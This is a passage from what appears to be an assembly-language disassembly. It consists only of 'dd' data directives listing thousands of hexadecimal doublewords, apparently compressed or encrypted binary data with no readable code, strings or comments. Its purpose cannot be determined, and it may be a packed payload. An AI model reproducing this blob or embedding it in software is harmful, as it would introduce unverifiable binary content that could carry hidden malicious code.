6D8517h, 0F7976845h, 18192A5h, 66990226h dd 2E0CAB02h, 6632750Ah, 0A1A3C06Dh, 0C32524Eh, 34D2D8C4h dd 56F2958Dh, 4249DC3Fh, 0E40B93B9h, 2D0564EDh, 0ACE833C4h dd 3E26EC2h, 0D18A3102h, 8435FF64h, 0D0E8526Ch, 8F8429C9h dd 6459011Dh, 15452589h, 0DB4570ACh, 5C7DE820h, 33C8C421h dd 8D1CF899h, 62D414h, 1FD78122h, 4609685Ch, 0D11DBD80h dd 12850A68h, 0CA0BE65h, 0AF3FE92Ch, 0FB0B640h, 61C70BBFh dd 7998DB33h, 2300E1B2h, 50801526h, 82D2E3h, 0F3D338DAh dd 339D5369h, 29FCC01Bh, 405B0EC2h, 0BA13F0Fh, 44058F64h dd 0D4ADEF73h, 2DF59D19h, 6E78AC5Ah, 0EEFFFB0Ch, 3398A60Eh dd 0DFAD1549h, 0D180170Fh, 11810D7Eh, 85D6E2Fh, 800FE938h dd 72EC157Ah, 2F003BAAh, 6CBB1A85h, 26141FCEh, 2CE08B80h dd 0E4811257h, 3CFFFBEh, 15B84C83h, 0C384A004h, 305C6A8Bh dd 97C203Ah, 0E6ED815Dh, 838B1B22h, 7A581B8Bh, 89183464h dd 4F5B5D33h, 21A1782h, 494E8D0Fh, 0DC211142h, 1578E980h dd 0B80B5AEEh, 5D12415Dh, 1B4024Dh, 468AF924h, 21205358h dd 170AB930h, 0D704B8h, 64054855h, 0BB0DF781h, 85D46500h dd 0B640BA86h, 0EAF4E134h, 0C5F67E8h, 68FB70EDh, 565F4D58h dd 84593693h, 50123865h, 54E98002h, 7295035Fh, 20F498EEh dd 1AA00FDDh, 3B5C2359h, 0E9864F18h, 0FB90BEBh, 0B8B5D516h dd 42043D08h, 0E10265Dh, 20C885ADh, 8CA9AF70h, 41BD2309h dd 0C2964A28h, 41862DA3h, 732E31C0h, 0AD307039h, 7845C001h dd 70016563h, 6E6F6974h, 66CD4920h, 516D72D8h, 0FF600C61h dd 7365796Ch, 202C1973h, 0E7741863h, 5F1D3FAFh, 733E7E68h dd 773E663Eh, 641272B3h, 6CF376E3h, 0B7CF70EBh, 6977B373h dd 9B1D3445h, 1B266C76h, 67676E1Ch, 2E73401Dh, 0E81F54D6h dd 795F6B5Fh, 0ACD755Eh, 98FE040Dh, 0CC702801h, 436E7380h dd 4C52540Eh, 0EBF6BF2Bh, 46695178h, 7AB764E5h, 707B4C18h dd 6C087954h, 627F6979h, 2964DAC5h, 34423610h, 0A627DF56h dd 25F73DF7h, 0C1431E9Ch, 496B63E8h, 640F524Eh, 47554F38h dd 72500F54h, 421DF46Fh, 323BDA0Fh, 0B6F3080Fh, 0F393D34h dd 51791E0Bh, 18A38E50h, 16C5A81Eh, 3202B5BDh, 0B9F92D44h dd 59A7C60Bh, 0E2301D00h, 0D687B1BFh, 0FA2419B2h, 19037462h dd 0F4C3504h, 441699FFh, 0F1C62444h, 0BFF19A65h, 51258588h dd 56230E08h, 230E1459h, 0E1C59A3h, 1859C123h, 59AA230Eh dd 0B2230E0Ch, 210E1059h, 0C3052B9h, 0E9800A79h, 4FF99A2h dd 8C14EDBDh, 0DA8953Ah, 2284218Dh, 8B251185h, 0B00E7A95h dd 1CF827C8h, 8D2D906Ch, 52E19095h, 4028C034h, 893BD4C3h dd 0F5CE1FEh, 43BB9DBEh, 8B2A5522h, 0C32D139Dh, 65F68A4Ch dd 50C41168h, 421E0822h, 0E4142154h, 1E182258h, 0C225C42h dd 0AB3EDCA5h, 6844AF0Dh, 5A52CD50h, 32100C64h, 0C18190Ch dd 8438614h, 0AA10422h, 211C26FEh, 710E3036h, 96B70717h dd 6A24191Ah, 4B202440h, 6D774B19h, 60BA0184h, 18EBC155h dd 0E9509BB3h, 17AB960Bh, 6EE55C60h, 38CA50E4h, 64C26180h dd 0A0E63404h, 14C86008h, 0ABF61008h, 24614F46h, 94F8E9C3h dd 31F48B21h, 0E6818E39h, 18ADF0C1h, 2BE8C991h, 0C6816E44h dd 303BCEE4h, 0F3906B5h, 51DDE986h, 2ED8208Fh, 6FCF6C22h dd 8C660250h, 0A0324C8h, 2A20DCD6h, 0BB4E7CB0h, 0E1854320h dd 1886800Fh, 0FADB0A3Bh, 7EC367A2h, 2404638Fh, 0B5CFC622h dd 81447D4h, 162D10E1h, 10F1F7Bh, 2FE174Ch, 531CC0BAh dd 663DAF52h, 9FCB189h, 535C5B02h, 834CAE09h, 43108582h dd 98BB88E0h, 80CBEF53h, 0C303E331h, 4BA13884h, 0D8C77976h dd 0C39C0CEDh, 74448B63h, 0C59852E6h, 0F806892Ah, 55CAF118h dd 23191E12h, 5BBD9401h, 84A3C8A2h, 923E8060h, 0BB2031EAh dd 0E3AB7A1h, 0B101B076h, 1E0F256h, 2C88AACh, 0D1C832C3h dd 0BAA12CBh, 4A0CCCD2h dd 0D6C90A32h, 0E1232DE5h, 1011A8DDh, 0D48B520Eh, 87A6057h dd 0A0E9C033h, 7080AA21h, 2A8DAC3Fh, 1BBC5A5Fh, 32565153h dd 99D4DB92h, 0D8A0AC47h, 681D3D1h, 465ABCC3h, 0E8F3B037h dd 97C80B49h, 0C38B81E8h, 0D15B595Eh, 2C7B4D60h, 0EAAC8C64h dd 1077AD2Ah, 90E723C0h, 0C0FD4DFh, 3C04A8D8h, 4CD4A629h dd 254A0BA7h, 8F60606Bh, 21D6AB85h, 3E062950h, 0F48944BDh dd 3F236BE9h, 8B3FE7C6h, 17050140h, 899B46F3h, 140C2149h dd 4656FF3Ch, 30C0511Eh, 34AE44F2h, 526987E9h, 727609DFh dd 0C7A4D00h, 0CA17B2B8h, 0D1C9A945h, 0E43006C0h, 46C801D1h dd 820FF73Bh, 28D49F1h, 289708EAh, 97284CB2h, 51560428h dd 4138453h, 980C4A2Ch, 2D503C67h, 4880AC9h, 13340198h dd 0C3C1D832h, 5D1C2108h, 5B1C4067h, 37A25E59h, 3B339802h dd 0B9199510h, 0C5B1581h, 8801FD10h, 0B8A56783h, 4050600Eh dd 0BF661DB3h, 61E50B63h, 43538B59h, 13663A78h, 8F1018BAh dd 6B0E8869h, 0E6221CDh, 0B52D1D04h, 0BF29007Eh, 5FBA6FDBh dd 1B2D581Dh, 0C9D900AFh, 6BF5E727h, 0F950C861h, 0C4ADE7B1h dd 0F1480133h, 87037CF7h, 962F27Bh, 0D449F79h, 0E9F74858h dd 24E20h, 0CCD807BEh, 81DF8C73h, 6F4DEA00h, 0F76668CFh dd 18FCD4C7h, 20023614h, 43C5F02Fh, 0E9D24610h, 3B5A8AAh dd 0DDFD9B8Dh, 6D86E992h, 0B9B7B5h, 8B281957h, 0FF4B2BD0h dd 0FB8084DBh, 43DC0ABEh, 58443C00h, 0CD80BFD8h, 0FEFC50EDh dd 783E4892h, 0B0F5BE01h, 7C936C70h, 7BF88BF3h, 0A291435Dh dd 0F202F0F8h, 5E70B200h, 0F130B950h, 9325094Dh, 10928A0Fh dd 1F0BF8F8h, 4C61FCA8h, 164DF85Eh, 99133726h, 889A0E5Ch dd 0B067C71Ah, 3062EC25h, 8BF9C60Bh, 0F18A89C4h, 40BE0023h dd 0EB01CD0Bh, 928A9ACEh, 5F65309h, 41B66109h, 7CD39FE2h dd 8F442Dh, 0D11FB13Bh, 6BFD3188h, 8A001E5Ah, 9CA15BBAh dd 710B5D7Ah, 0B519E922h, 21261A5h, 60CB8B11h, 6D48682Fh dd 20E64E55h, 304F28E1h, 1D0A744Ch, 53F9EF59h, 75E06380h dd 1676AFFFh, 0BB06D4DAh, 8B0FAE91h, 8268342Eh, 6CE6E7ECh dd 9174E00h, 0A39BEB62h, 0B23A2456h, 97916022h, 30006183h dd 0F429A2CFh, 72EC4113h, 28D74FEh, 1415520Ah, 850575Ah dd 0AA30105Bh, 1040B60Fh, 22C8FE01h, 1251EBB0h, 0B16C5F02h dd 807F9B4Ah, 0F5E6BC84h, 0AB604F6h, 0BC519E44h, 7D4D8085h dd 7A7C15Dh, 308C602Dh, 99C6E5C0h, 0B6606E51h, 2B432BAh dd 569CB1B9h, 36DE6144h, 0A3513FDCh, 845DBE04h, 0F1538072h dd 19722C1h, 4928B9CAh, 0A6B52267h, 170EB28Bh, 0C0D6CDA7h dd 1A69586Bh, 0FD429725h, 867119A0h, 2C016F3Dh, 0F7DC7EBAh dd 47D4C701h, 0F0522427h, 5AD7024Ah, 0E54BCA8Ah, 419750DAh dd 67821411h, 9684F4B1h, 3BD3BC52h, 0E8C2975Ah, 917F4F20h dd 0ECE70C7h, 0C6533CC0h, 1FCAEDE0h, 5101AFB0h, 0FEB7B4Eh dd 55630381h, 0F95ADB0Fh, 59ECC242h, 0F1C3EA49h, 0F4FA3554h dd 0BA1F7CD9h, 325237B8h, 1EDEA088h, 80FF62D5h, 0AFF27224h dd 0BA06C803h, 64E10DE2h, 58A201F0h, 8C0F3332h, 0BCB91005h dd 30CF01F9h, 0D20DC681h, 89D495C5h, 7BEA0611h, 4444A97h dd 0B8E6121h, 87CABC52h, 101057C4h, 515BBA9h, 0CD4D0743h dd 0D02181BCh, 32876059h, 8A3A54FCh, 0EA838AE7h, 0C704C804h dd 21CCEF81h, 0D4915D85h, 0FACF1F01h, 41D7B68Bh, 8E2E9304h dd 20C42B11h, 945AC7FBh, 74053D3Ch, 3D080D01h, 0D089F136h dd 221F404Ah, 8303CDBCh, 8EFB4F3Fh, 7F9DF040h, 0C97FA98h dd 0CB724239h, 50187528h, 0B64021D1h, 827628C4h, 0C9C7438h dd 0FD257899h, 0EE7E9120h, 94739200h, 93E40310h, 86411EBBh dd 0B415806Dh, 0CC8F4F39h, 0A744E00h, 1EF0C1F6h, 3B400025h dd 4896B89Ch, 4E0598FBh, 5A3F8405h, 6284410h, 4C351D1Bh dd 0F880631h, 802F1978h, 987A3901h, 73CDBB82h, 18B98DF2h dd 0E9BC4AD8h, 0B508B000h, 0C72340h, 21C3A26Fh, 5D589993h dd 1B94FF52h, 0E730EED7h, 44833937h, 0F1003F9h, 8CDF4C08h dd 1020707Ch, 8BAD05EAh, 2F02A19h, 89E3EECCh, 0F4D21201h dd 0B7BCE880h, 9E929FD1h, 0C0356230h, 6EC83EEh, 0FF12946Dh dd 632229FAh, 369A22DEh, 82119742h, 4F22F8h, 0AEA04905h dd 7806EB5Dh, 0E50F7E07h, 4AB09BD8h, 0C6BAB5h, 704127CCh dd 0AB344CDFh, 8F00CBFAh, 2B6E29D2h, 3898DBEh, 44571CC5h dd 0B4DA3FACh, 2FF547C0h, 2D6AAF00h, 0D5F6F049h, 40E000A0h dd 8C9FF799h, 26037B18h, 5511B160h, 80291C03h, 1BCB428Fh dd 620FB91h, 712F6B7Bh, 9E173D0Fh, 0B25D0200h, 0D327704Ah dd 0DBF9400h, 7D4083E9h, 234E01D2h, 8FF816Bh, 7184DCC4h dd 41EB9F0Ah, 1500D91Eh, 81CF8D0Ah, 0E0701Fh, 0F2C37C5Ah dd 4ED5B36h, 4107017Dh, 9929BEB2h, 4712C4C1h, 24E7F0h dd 0A4275539h, 0BD7A6D9Bh, 14AA309h, 406C0EBAh, 0BF55574Fh dd 0DFF007F6h, 7051D122h, 33CBA81h, 0E69C7D00h, 0E86A13E5h dd 0FFFC00C4h, 1A456312h, 31019FFDh, 963E5936h, 0ABF40390h dd 0A37373h, 8DA13A0Fh, 0A44D02DDh, 0E8A0951Dh, 788C7480h dd 7B3E48h, 8696C015h, 0F273213Ah, 985EB403h, 694A84h dd 1A4EA921h, 0D80FA1D1h, 0A350F500h, 0DCEA275Eh, 0C01954CAh dd 0B446009Ch, 0DE21CBBDh, 0E90066A8h, 91517A38h, 3DB6E4Eh dd 73CF11BFh, 0F590E267h, 9023ADFh, 3897B913h, 3E2DE0B2h dd 459526B5h, 9DFA00E6h, 0FEC8C2BAh, 690C9030h, 0F41078h dd 0DFE40E7Eh, 7417A6D3h, 1B7FB500h, 7145C2DAh, 126477B8h dd 0D79EAFh, 21FD7A04h, 59032AEEh, 0C985EB99h, 9140F82Dh dd 0CC5C0315h, 6D202BB4h, 3AFAE9F8h, 77007E7Ch, 0A6707C5h dd 3BA4A0h, 0A2461E70h, 0D3939469h, 7E35E339h, 849A2D06h dd 1C395710h, 4CA17CDBh, 0CF1039B2h, 0D8859D00h, 5FF04221h dd 40740004h, 4D2FBE0Fh, 18C02090h, 98C3DC57h, 11B2003Ch dd 0F683AF1Fh, 7F0054C5h, 0E684242Ch, 60FC10F9h, 1A5C69C7h dd 8F00FB0Ah, 0BB6F63B8h, 71F71CCh, 0EB3A6E98h, 0F081403Dh dd 0C926515Ch, 0E100E0C8h, 0B9BA47ADh, 142A00C0h, 0F4A963DAh dd 0E1E84F7h, 0D0401661h, 0E354DDC3h, 557EC90h, 0FE6B2F45h dd 5A2A80CDh, 0A101FD96h, 88707B38h, 0DC2068DBh, 0CBBE005Eh dd 0B67343FCh, 97002366h, 764C6095h, 10350EAh, 5CF22D7Fh dd 7FBADC9Ah, 0DE6D3E00h, 19606A2h, 24FD9CF3h, 20493320h dd 1E00483Ch, 4AB65B08h, 398E0F0h, 0D8CD9B2Bh, 66E8383Eh dd 4E309359h, 5A1D20B2h, 4138D2B0h, 0F8AD9F34h, 100202Dh dd 0C3BC3C00h, 1CD673E5h, 0F719C072h, 781E204Ch, 0B9278300h dd 91A3EE52h, 643A3E01h, 5F0F2E80h, 0A67193C2h, 816F5E00h dd 2194AF05h, 89A8A0C9h, 113F3C95h, 8D826807h, 6C61A0C2h dd 0C6002C1Fh, 49423E39h, 0FCC59Bh, 2FB838BAh, 9613563Ch dd 0AFEB8504h, 0A7C00932h, 2AC8D390h, 1A8B330h, 0FCA37176h dd 0E8BAE44Ah, 29F6C546h, 5219A900h, 61142DB9h, 0C88D0422h dd 0C0BE154Ah, 9D2C9C88h, 7603FA71h, 24232550h, 0AC7CD094h dd 99892h, 0D71CA4D4h, 0BFE1EFEAh, 0BD1B0B00h, 23408F4h dd 0F50F1650h, 29240785h, 274193DCh, 4739B071h, 19390089h dd 0BDF81075h, 7A9F1493h, 0C600C09Dh, 94ECE5CEh, 83005A9Ch dd 0E97D1223h, 0A06EEA99h dd 3567CCh, 13DF8AD7h, 0ED3BE1D6h, 3334D00h, 0BC92D05Fh dd 0B5F279h, 0FB8975Dh, 0F0DF014Fh, 92D5600h, 0FCEE9689h dd 0B1710B8Dh, 48A504F1h, 356AC06Fh, 9B0022C7h, 0F6B4BDD5h dd 95AC5Dh, 0D21F33B1h, 0F88520A8h, 26816801h, 0D641BFAAh dd 694093h, 48013244h, 0A23BADA3h, 7F7301EBh, 9ED9E60Ch dd 0EBB68E4h, 185ADCA5h, 0B7A3CF2Eh, 88D5B6F3h, 0B0E46468h dd 102CE8F4h, 16806453h, 0C4BA4211h, 0AEF709CEh, 0A8AFF1A6h dd 0A9189C00h, 8200BC0Bh, 9503A5D5h, 1CE7546Ch, 0C0C8CA01h dd 0B5CE8323h, 14052780h, 998BDC5Bh, 88ED3C83h, 0EC476DDBh dd 7384009Fh, 3111C649h, 0C988A02h, 0EFBFFCF7h, 192C5676h dd 81B8C0C0h, 923A2362h, 28808BFDh, 9DAC305Ah, 0C6004FFCh dd 7956D34Ch, 7C3F5CF8h, 1E200D5h, 0BDE80639h, 2109D958h dd 806B1C4Ah, 0D7929A50h, 463107D2h, 87166A4Dh, 67E5A019h dd 0AC0013BBh, 0C93AC397h, 8B60296h, 3383B094h, 42ED180Fh dd 0CCEC81B2h, 0AD82007Ch, 0EFF18CA5h, 400086CBh, 0AF873F1Dh dd 661CFCh, 4829DC8h, 0A6726E13h, 5DE19604h, 0E8C38E90h dd 91AB01Dh, 0C3D26D5h, 7A3F0B31h, 0C3BB1180h, 5801B471h dd 0DB6BEE4Bh, 75C530D1h, 0A86030h, 6FE453BEh, 0C54EA1D7h dd 34FA6E26h, 40518C09h, 3EBF873Ch, 0E6940407h, 4138FAE0h dd 0AAB16F80h, 0C2D332Ch, 0C3959600h, 9314A75Ah, 0B302048Fh dd 80ED2A75h, 0E49C6B4h, 0F3604701h, 0A74354C2h, 0CAC720h dd 35DDBD11h, 0AE052CEDh, 803FCE3Ah, 0B0FA3028h, 391F09h dd 4AF6298Ah, 0D2EE85D6h, 541030E9h, 0D4550D28h, 0B295C607h dd 94099F9h, 75C11Dh, 0E1FF4A7Dh, 8CB17216h, 0E09825EDh dd 90BA2FDDh, 9A54AA03h, 8849ED11h, 0CA84E7Eh, 8F4B312Ah dd 0D0718BF8h, 5C3D1724h, 60197D0Eh, 95E7DC94h, 9CB3015Ah dd 6CA811DDh, 9A7C83EBh, 0F8EE758Ah, 0C0F92BAFh, 0DB52D770h dd 2C588CD9h, 37F87EE0h, 0D37F6000h, 0B4AA1E40h, 0DF68008Dh dd 0F1D004BCh, 0B200329Eh, 0F0A6B01Ah, 0C3E5CBh, 0FECAF555h dd 87C98BBEh, 0A0AA1924h, 65487B00h, 69D85Ch, 16356345h dd 289B1DABh, 0FF21AF00h, 5FC18FCCh, 3250720h, 9ABA5617h dd 1F0680ECh, 5AF771CBh, 3C904F79h, 4964E0Fh, 1498957Bh dd 118AE56h, 3E2BB20Ah, 2AD18A03h, 60CA16D0h, 0A375E9F6h dd 0F7074CBAh, 8F4ED2EFh, 38469E40h, 40B81F9Ch, 8B310AE7h dd 0A77B0518h, 39B441BAh, 0E306D62Bh, 0C7CCF6A0h, 31D3DF2h dd 1D0FCFC9h, 2218F82h, 88B6561Bh, 4C435448h, 94781DDFh dd 48CC00C6h, 0C9198FB7h, 730090F0h, 2BF9BE51h, 928429h dd 0AEDBDCB4h, 53682D3Ch, 8C0D1F03h, 0AF8AB789h, 6E3709FFh dd 0C10487FCh, 86B53993h, 0CAFCBC10h, 0C99E1218h, 4730C133h dd 0F97711D6h, 0D8DF11h, 64CDA19Eh, 215B289Dh, 0B12C284h dd 0FFD54920h, 0A8E100D2h, 0CB824D42h, 0DF071321h, 0FEF9866Ch dd 8522809Bh, 0E2787A3Ch, 97FC26EFh, 2B4A0076h, 45C9F26Fh dd 90500903h, 0BC73F088h, 3136E0C0h, 7FC0B062h, 1C80012Ch dd 0F84B6D65h, 25AFF49Fh, 7B77220Bh, 0F7DD0095h, 0FE7CE2B2h dd 0FE7B1Fh, 71964D99h, 5A394F34h, 0C33911B0h, 0ED630AF9h dd 358494F3h, 6CA06BAFh, 651D3BB5h, 56FBDD00h, 0AED81F32h dd 0ED7C8D15h, 0ADC624A8h, 537C0725h, 0AB515621h, 4057BE9Fh dd 0CDD2B0D5h, 13005F28h, 979B110Fh, 23BD29h, 0A4AB8774h dd 5B187C58h, 337510B0h, 0D8815Ch, 276ABA77h, 3CE2E9Ah dd 142C7E31h, 0C0EC0494h, 0B3B69814h, 5883F300h, 5D6848CFh dd 0CBF700DBh, 6AEC2381h, 2860B507h, 17AF70C8h, 66D50958h dd 6860BB8Ch, 1D002256h, 10A79C6Ah, 2691B1h, 85D3D5E7h dd 0AE177905h, 6F74BE00h, 0ACB9CC8Ch, 30C00E4h, 30436E51h dd 81E89E8h, 86004BDCh, 0B5DB37D5h, 9A020590h, 8A10A2h dd 41C3A690h, 7700D5CEh, 135EA19Ch, 706323h, 0AEC4C243h dd 0F08BF4E8h, 19C69E00h, 5C602056h, 0DE063C84h, 0DD7C8C82h dd 0B883F539h, 0E2B8EBCDh, 0AF120175h, 80C0DEBBh, 0E4DCBFh dd 6E5A1AF7h, 60EC094Dh, 0E7989E07h, 691043CAh, 2FA7ABh dd 8D0517CCh, 0A0A4F992h, 4156B300h, 451FC94Bh, 26770001h dd 2D76D725h, 74259511h, 0F27C80FFh, 11C9C3BAh, 90E93E7h dd 81231B5Dh, 99A74FC4h, 31AE030h, 0FA9C7624h, 29085B3Ch dd 83DCD36h, 0D800A542h, 0BB77537h, 5BDB2827h, 8C8F50E0h dd 69E80092h, 0DFEF535Fh, 8200F8E7h, 61138ABDh, 5706C4h dd 20287B2Eh, 106C6E66h, 960059ECh, 340E9D6Fh, 125D4B61h dd 802B3324h, 971DD188h, 0B0A98A00h, 0D34A657Ah, 0E7C400F9h dd 86B15F74h, 120720CAh, 4733444Dh, 0DF94A700h, 1D0D005Bh dd 0E1EA7772h, 487191ADh, 6BF84008h, 89EE0046h, 0CDB9FC1Bh dd 603C59h, 0F68FDFA0h, 20C080h, 35EB23EFh, 0A48A6DACh dd 45C74E00h, 0B36BD1C2h, 8C9017h, 0DEEACA77h, 8B18755Eh dd 22F7301Dh, 0B34A6380h, 16672Fh, 0EAE80C38h, 57BB12F1h dd 30317900h, 0DDABD51Fh, 75F60B06h, 50003597h, 0C92CE693h dd 9D4BF91Ch, 7710BC0h, 7A1372B1h, 0CDC50097h, 961C1B21h dd 0E47856D0h, 82A8B53Dh, 32A20A74h, 0B78E03Bh, 20616996h dd 8C8BB980h, 0B200C178h, 1B4563DEh, 1FCFF93Ch, 409564E0h dd 0CEC767A7h, 0ADEC0848h, 7C254100h, 872736C9h, 3506003Ch dd 137BBD74h, 860F9466h, 0C0EEC5B7h, 214B63D9h, 0E730033h dd 2EAE82BCh, 603AB0E5h, 0F96A8453h, 66C07C8Eh, 686F27h dd 0CA3B73C7h, 487E1175h, 0ED48B898h, 0F7660059h, 71B45805h dd 87DF0098h, 56F30AF5h, 8A02AFF0h, 0D762978h, 64359h dd 67932440h, 0F8FE5C0Fh, 0A560C700h, 42447C1Ch, 48B660E1h dd 35DCEE64h, 674E4303h, 1B79E13h, 2EE8D818h, 0F5548A08h dd 795880A2h, 4D1B7B82h, 1EDDEE0Eh, 0C4890917h, 0C22665B3h dd 0FC580568h, 0D9F36800h, 9E19C5F7h, 1F1700E1h, 0FD423F27h dd 0EA147CCAh, 1D6738Bh, 84467265h, 63DC8535h, 0A0533A40h dd 0C00E5160h, 39007CC7h, 286F2D31h, 349CE78h, 0A8021905h dd 0CB988901h, 0BB3F8BEFh, 4CC98916h, 94F8A4F1h, 0B53C6080h dd 0E430E361h, 0D0D848E8h, 3AB6854h, 33E95010h, 0B8C18D38h dd 0E7A8648Bh, 0B07C4B8h, 0F79B1578h, 11B6D930h, 0AEF42C86h dd 60F80BB4h, 0DE7AA02h, 0A34A8460h, 89295F00h, 0C56A6694h dd 7FD20033h, 8ADAD6E7h, 6500FC02h, 0EEBDCC60h, 1259D156h dd 7DE4BD3h, 172CF94h, 0E44973A4h, 0CA0092F7h, 2E69ABFh dd 1EE458A1h, 35A306h, 65154157h, 83F04E59h, 0E2D2BF03h dd 0D1E1FC23h, 874A12Ch, 94132EA5h, 481C2Fh, 0E7E9F623h dd 0E0B857C0h, 82F21F00h, 74E13526h, 70763D38h, 0DA5BA280h dd 873F0220h, 92EF842Ch, 4C516A00h, 98580B38h, 0F78100A8h dd 7AB0FEDh, 4A00B83Eh, 4F3BACBCh, 532427h, 40209B03h dd 61C67972h, 0F9FF952Eh, 0C07B0500h, 0C17E85FCh, 63BECEB0h dd 0CE1439h, 31859E2h, 94B9FFh, 0E75035DDh, 0ACF80F33h dd 0D0D38A17h, 0BCCC9E05h, 4AFFF890h, 780103C2h, 855BFD9h dd 0F878F98h, 0A6A4D701h, 0C34FF220h, 716893C4h, 6B100E1h dd 25508E04h, 771CAF27h, 164A41C4h, 0CD00A4E5h, 0ED05BD8Ah dd 4EC804FDh, 0A4780491h, 0A9004828h, 0D6DBA78Fh, 12BAAD4h dd 325ADFC5h, 20A4E112h dd 0BA7C1C4Ch, 0C3C06494h, 0FA333AD6h, 0F2F4B831h, 98AD7C73h dd 1CAF24Ch, 37EF8F40h, 0E43BF68Bh, 8200D623h, 1136AF8h dd 397BCFF1h, 300DBEC4h, 0E431992Fh, 425954Eh, 0B5CC1174h dd 1D808A0Ch, 599494BAh, 0B6710306h, 139303C0h, 0A99992A0h dd 2C4266E8h, 86012C94h, 0BCB34075h, 96D13CDFh, 5AEE070Fh dd 3FD6071Ch, 49E33713h, 6E45AF83h, 70982925h, 5C83070Bh dd 0CE6906B0h, 21880FE6h, 8E11AF07h, 0B07A0382h, 7C48AD46h dd 0FC1E0009h, 5F44EDFBh, 170F739Eh, 1BF25Ah, 4575D7BEh dd 820D5C5Eh, 99944301h, 80EE1992h, 0D9517308h, 0F6D7B990h dd 0C4F1C081h, 7F4C7ABCh, 8089FE38h, 99360731h, 49EE876Eh dd 0A7003CF1h, 0CEA5A3B1h, 310A74F2h, 0AC6F5289h, 0EA4108h dd 42953382h, 10C08D81h, 9656A41Eh, 8EC7006Bh, 66680B23h dd 8B18691Ah, 0E659EBEEh, 0E79F0072h, 0EDEDF54h, 0FA724870h dd 5211F04h, 64C12B87h, 9DDC93CAh, 4B90040h, 10A59068h dd 0A00056AFh, 0D0015CE7h, 0A4C21939h, 41B0798h, 71622B46h dd 0F4089347h, 90030F9h, 7BE43C85h, 3C615FBDh, 0BF28E3A3h dd 115B60D0h, 0B81A2133h, 93488801h, 644A8384h, 1D1C402Ah dd 316D1340h, 27004C71h, 0B5C529A8h, 7268BCh, 3EFC48BEh dd 0A6B3AFFDh, 2B974Ch, 0F01A2EB6h, 50D78h, 0C7820F1Ch dd 0DA28AEE6h, 0B04CE000h, 9C0B9374h, 0E67AF87Bh, 30AD60ACh dd 0C088DE13h, 197F3D7Eh, 56D11A00h, 8976D20h, 4C800077h dd 2D50293Bh, 1E3B7531h, 9B9400D8h, 22027956h, 0C0EA006Fh dd 6EA3ABECh, 3900D854h, 3136A463h, 9B9C06h, 20A2582Eh dd 0DA510716h, 0AAEAEE76h, 12387800h, 0D323E969h, 865300BFh dd 0C77DA64h, 650ED70Dh, 99BD476h, 0BDFF807Fh, 39723D48h dd 0A607FC19h, 3A300D4Ch, 4440F104h, 0EC043F14h, 0DD457213h dd 1CBF0010h, 0FE590F72h, 33D45100h, 3682FD64h, 0C713004Eh dd 4845C31Fh, 29C81D8Ah, 988E42F2h, 221E3B22h, 6248BC1h dd 129EAA21h, 5A2885CFh, 4EBA1408h, 0E3909D68h, 48158684h dd 993142AEh, 7C22F724h, 21A25084h, 0EB12B5D7h, 6F631482h dd 0FB217624h, 11BF126Eh, 6A24EA54h, 1244B821h, 61AB1053h dd 52081E89h, 0A4A712F9h, 9248673Ch, 22696542h, 0DA22151Bh dd 47262473h, 9B203E8Fh, 0F2C8194h, 95F8688Ch, 0B44522C0h dd 0EF00BCEAh, 1543CF3Eh, 0F2263DC4h, 0E4409F2h, 578F5913h dd 4F86FDC0h, 0EEEA83A9h, 1FE4000h, 0C085F3F5h, 0A8576078h dd 0ECF952E9h, 5F38F100h, 5966C4D2h, 0EFE00077h, 0DC6D01ACh dd 0DE00B83Ah, 23873611h, 0FA9F79E2h, 0FB440081h, 96C7C40Fh dd 0A830C2CEh, 0B462101Bh, 0E0530036h, 33AD8416h, 0F20813EFh dd 80352DA8h, 6FFAE70Ch, 0EA0F43C7h, 528A4C54h, 80755400h dd 35A70h, 739FF881h, 21389216h, 8FE89500h, 35D0B233h dd 55540F0Ch, 801E05AFh, 10FDE1D7h, 42012A31h, 0FBB4857Dh dd 9660A1E2h, 0EC260034h, 5680E8CCh, 0C2035E88h, 5154E5D8h dd 2E790007h, 0B50219C4h, 530134CAh, 0A5464732h, 0DD703B06h dd 284C0072h, 0B6166338h, 9A00E1CEh, 18DD4391h, 0A08C0BC8h dd 7B87A5BCh, 0D30D07F3h, 0E09214A9h, 0C009EACDh, 4D111F00h dd 0F85C8205h, 7CE1383Eh, 1A24E500h, 55560DC6h, 80002D72h dd 0ED17D3B7h, 4EE4E3h, 0F1437BF2h, 0D2AAD5A4h, 0C700FD7Ch dd 95D6A4Ah, 34018C4h, 5AE65182h, 5097D672h, 788A25A1h dd 9D946750h, 80AD4A38h, 0D5CE6DBEh, 0DE480Eh, 303133A2h dd 76A3D48Dh, 5F66400h, 3C54E2FCh, 0EA260052h, 0B85D36F4h dd 2CEE512Eh, 0E0F72098h, 2D001FE2h, 32FC7363h, 5553F9h dd 8A7A150h, 0EEB8CBD6h, 2B91C90Fh, 994A8165h, 67DC5F8Eh dd 7E301D2h, 0E1AA4878h, 9EB0C351h, 88003B80h, 886C00Bh dd 0E88AC1h, 2D65E7F6h, 0A10741F8h, 0F9AB1701h, 864D7160h dd 20CFACCh, 0FE02B21Eh, 0B4809167h, 0FF24D1E6h, 0A04E1C91h dd 0F4023445h, 2049082h, 0EDD263C9h, 72026B24h, 8F2203Eh dd 940086DDh, 5BB4FC8Ah, 5009DFAAh, 0EFB4E6h, 4B304C45h dd 42AE6C8Eh, 0A5019173h, 8F44A97Bh, 8880F7BAh, 34892374h dd 10DFED32h, 0BFFE0C0h, 0EF1FB86h, 976A808h, 801F0ACFh dd 29310752h, 253B9974h, 0A44F0090h, 0EA885332h, 71720033h dd 29F44AEh, 1C00B96Ch, 8D0BE8E4h, 3FA6FCFBh, 87005E74h dd 772FDA6Ah, 530FABD3h, 403BE4D2h, 92AA3352h, 608D0023h dd 0AB82933Fh, 1B00EF9Ah, 0DCEBE8E1h, 2F6907h, 67CF6A66h dd 91240D83h, 144E7124h, 0AC4DF200h, 346C8Ah, 0A6B9E9AAh dd 4BE25DD5h, 0CFF1A312h, 6FDE0C0Eh, 51662091h, 26F877h dd 4781D78Dh, 6A64AB95h, 9A1C3F0Ah, 3900951Dh, 829D96E4h dd 6B8D0013h, 0DC5397C6h, 4D139E4Ch, 0A090DA5h, 570C0183h dd 0E4189244h, 0D4DE7224h, 51299600h, 34E5B27h, 0B588AB2h dd 16B8CCEDh, 9AF613A3h, 0C6F88600h, 0DBAADE2Eh, 48F07E26h dd 0F2020CDDh, 1131D192h, 0DDB29441h, 0B990E0ECh, 1E4EA748h dd 4C40783Ch, 981B0CAEh, 0FF52004Ah, 3D937BEh, 0DE13270Bh dd 0A400C79Eh, 0E0893A60h, 0E61B01EDh, 0AC6ECC13h, 0D7C5F1DCh 